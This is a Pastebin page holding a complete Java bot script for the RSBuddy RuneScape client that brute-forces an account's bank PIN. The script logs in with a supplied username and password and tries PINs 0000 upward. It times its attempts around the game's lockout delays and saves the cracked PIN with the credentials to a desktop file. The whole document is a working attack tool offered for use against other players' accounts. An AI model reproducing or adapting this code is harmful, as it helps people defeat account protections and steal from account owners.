Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * BankPin Cracker for RSBuddy.
- * Original Author: Pork
- * Converted & Modified by Fox - Hacking.RS
- */
- import java.awt.*;
- import java.io.*;
- import java.util.logging.Level;
- import org.rsbuddy.widgets.Bank;
- import com.rsbuddy.event.listeners.PaintListener;
- import com.rsbuddy.script.Manifest;
- import com.rsbuddy.script.ActiveScript;
- import com.rsbuddy.script.methods.*;
- import com.rsbuddy.script.util.Random;
- import com.rsbuddy.script.wrappers.Component;
- import com.rsbuddy.script.wrappers.Widget;
- @Manifest(name = "PinCracker", authors = "Pork/Dodz", description = "Cracks bank pins.")
- public class PinCracker extends ActiveScript implements PaintListener {
- /* Enter the account's username & password here */
- private String username = "Username goes here";
- private String password = "Password goes here";
- /* Enter the pin you want to start cracking from */
- private String pin = "0000";
- /* Do not edit below this line */
- private int state;
- private int tried = 0;
- private long banktimeout = 10;
- public long startTime = 0;
- public long millis = 0;
- public long hours = 0;
- public long minutes = 0;
- public long seconds = 0;
- public long last = 0;
- public int totalTried = 0;
- public int pinsPerHour = 0;
- public String currentPin = pin;
- public long attemptTime = 0;
- private String getDesktopPath() {
- String path = System.getProperty("user.home") + "/Desktop";
- return path;
- }
- public boolean activateCondition() {
- return Widgets.get(13).isValid() || Widgets.getComponent(14, 34).isValid();
- }
- public long bankTimeout() {
- return banktimeout;
- }
- public void enterCode(final String aPin) {
- if (!Widgets.get(13).isValid())
- return;
- final Component[] child = Widgets.get(13).getComponents();
- state = 0;
- for (int i = 1; i < 5; i++) {
- if (child[i].containsText("?")) {
- state++;
- }
- }
- state = 4 - state;
- if (!Widgets.get(759).isValid())
- return;
- final Component[] bankPin = Widgets.get(759).getComponents();
- if (state >= 3)
- sleep(300, 600);
- for (int i = 0; i < bankPin.length; i++) {
- if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
- final Component[] childrenBefore = Widgets.get(13).getComponents();
- int stateBefore = 0;
- int stateAfter = 0;
- for (int j=1; j<5; j++) {
- if (childrenBefore[j].containsText("?"))
- stateBefore++;
- }
- bankPin[i].click();
- sleep(500);
- while (stateBefore == stateAfter) {
- final Component[] childrenAfter = Widgets.get(13).getComponents();
- for (int k=1; k<5; k++) {
- if (childrenAfter[k].containsText("?"))
- stateAfter++;
- }
- sleep(500);
- }
- break;
- }
- }
- if (state == 3) {
- tried++;
- totalTried++;
- if (tried == 2)
- sleep(11000);
- else if(tried >= 3) {
- sleep(2000);
- if(Widgets.get(762).isValid() || (Widgets.canContinue() && Widgets.getContinueComponent().containsText("has been cancelled")))
- pinIsCracked();
- else {
- sleep(14000);
- tried = 0;
- while(Game.isLoggedIn())
- Game.logout(true);
- }
- }
- int temp = Integer.parseInt(pin);
- temp++;
- if (temp >= 0 && temp <= 9)
- pin = String.format("000%d", temp);
- else if(temp >= 10 && temp <= 99)
- pin = String.format("00%d", temp);
- else if(temp >= 100 && temp <= 999)
- pin = String.format("0%d", temp);
- else if(temp >= 1000 && temp <= 9999)
- pin = "" + temp;
- currentPin = pin;
- }
- }
- public void login() {
- if(Widgets.get(906).isValid()) {
- if (Widgets.get(906).containsText("account has not logged out"))
- Mouse.click(382, 322, true);
- else {
- Widgets.get(906).getComponent(171).click();
- while(Widgets.get(906).containsText("Entering game"))
- sleep(500);
- }
- }
- else if (Widgets.get(596).isValid()) {
- Widgets.get(596).getComponent(40).click();
- sleep(1000);
- Keyboard.sendTextInstant(username, false);
- Widgets.get(596).getComponent(42).click();
- sleep(1000);
- Keyboard.sendTextInstant(password, false);
- Widgets.get(596).getComponent(46).click();
- while(Game.isLoginShowing())
- sleep(500);
- }
- }
- public void pinIsCracked() {
- log("Bank pin successfully cracked!");
- log("PIN: " + pin);
- try {
- BufferedWriter out = new BufferedWriter(new FileWriter(new File(getDesktopPath(),"PinCrackerLog.txt")));
- out.write("Username: " + username);
- out.newLine();
- out.write("Password: " + password);
- out.newLine();
- out.write("PIN: " + pin);
- out.newLine();
- log("Account info saved to desktop.");
- out.close();
- }
- catch (IOException e) {
- log.warning(e.getMessage());
- }
- while(Game.isLoggedIn())
- Game.logout(false);
- stop();
- }
- @Override
- public boolean onStart() {
- startTime = System.currentTimeMillis();
- Mouse.setSpeed(1);
- Environment.disableRandoms();
- return true;
- }
- @Override
- public int loop() {
- if (Game.isLoggedIn()) {
- if (Widgets.get(109).isValid()) {
- Mouse.click(427, 75, true);
- }
- if (Widgets.get(13).isValid()) {
- enterCode(pin);
- sleep(500,1000);
- }
- else if(Widgets.get(762).isValid() || (Widgets.canContinue() && Widgets.getContinueComponent().containsText("has been cancelled")))
- pinIsCracked();
- else
- Bank.open();
- }
- else {
- login();
- }
- return Random.nextInt(200,500);
- }
- public void onRepaint(Graphics g1) {
- Graphics2D g = (Graphics2D)g1;
- millis = System.currentTimeMillis() - startTime;
- hours = millis / (1000 * 60 * 60);
- millis -= hours * (1000 * 60 * 60);
- minutes = millis / (1000 * 60);
- millis -= minutes * (1000 * 60);
- seconds = millis / 1000;
- String hoursString = "" + hours;
- String minutesString = "" + minutes;
- String secondsString = "" + seconds;
- if (hours < 10)
- hoursString = "0" + hours;
- if (minutes < 10)
- minutesString = "0" + minutes;
- if (seconds < 10)
- secondsString = "0" + seconds;
- g.setColor(Color.black);
- g.fillRect(5, 5, 190, 65);
- g.setFont(new Font("Arial", Font.BOLD, 15));
- g.setColor(Color.white);
- g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
- g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
- g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
- g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
- }
- }
Add Comment
Please, Sign In to add comment